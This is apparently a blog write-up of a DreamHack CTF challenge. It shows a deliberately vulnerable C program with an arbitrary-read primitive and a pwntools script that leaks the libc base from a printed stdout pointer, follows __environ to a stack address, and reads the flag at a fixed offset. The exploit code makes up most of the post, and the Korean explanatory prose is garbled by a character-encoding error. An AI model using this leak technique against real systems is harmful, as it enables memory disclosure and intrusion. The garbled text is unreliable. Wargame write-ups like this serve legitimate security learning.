
๋ฌธ์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
// Name: environ.c
// Compile: gcc -o environ environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
int fd = open("/home/environ_exercise/flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
[DreamHack System Hacking] __environ
ํ๋ก์ธ์ค๋ ํ๊ฒฝ ๋ณ์ ์ ๋ณด๋ฅผ ์ ์ฅํ๊ณ , ํ์ํ ๋๋ง๋ค ๋ถ๋ฌ์ ์ฌ์ฉํ๋ค. ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์์์ ํ๊ฒฝ ๋ณ์ ํฌ์ธํฐ์ ๊ด๋ จ๋ ๊ณต๊ฒฉ์ ๋ํด ์์๋ณด๊ณ ์ ํ๋ค. ์ด์ ์ ํ๊ฒฝ ๋ณ์๋ฅผ ์ด๋ ์์ญ์ ์ ์ฅ
dacoding.tistory.com
์ด์ ์ ํ์ตํ ๊ฑธ ๊ธฐ๋ฐ์ผ๋ก ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์์ __eviron ์ฃผ์๋ฅผ ์์๋ด์ ๋ ์ฃผ์์ ์ฐจ์ด๋ฅผ ๊ตฌํด์ ๋บ ์ฃผ์๋ฅผ ์์ ์ฃผ์ ์ฝ๊ธฐ ์ทจ์ฝ์ ์ ํตํด ํ๋๊ทธ๋ฅผ ์ถ๋ ฅํ ์ ์์ ๊ฒ ๊ฐ๋ค.
# Name: environ.py
from pwn import *
#p = process("./environ")
p = remote("host3.dreamhack.games", 18579)
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
print(hex(libc_base))
print(hex(libc_environ))
p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))
p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, b"\x00"))
file_content = stack_environ - 0x1538
print("stack_environ: " + hex(stack_environ))
p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))
p.interactive()
'DreamHack > SystemHacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack System Hacking] SROP (0) | 2022.11.14 |
---|---|
[DreamHack System Hacking] rtld (0) | 2022.09.22 |
[DreamHack System Hacking] Linux Library exploit > __environ (0) | 2022.09.21 |
[DreamHack System Hacking] Linux Library exploit > overwrite _rtld_global (1) | 2022.09.21 |
[DreamHack System Hacking] Linux Library exploit > _rtld_global (1) | 2022.09.20 |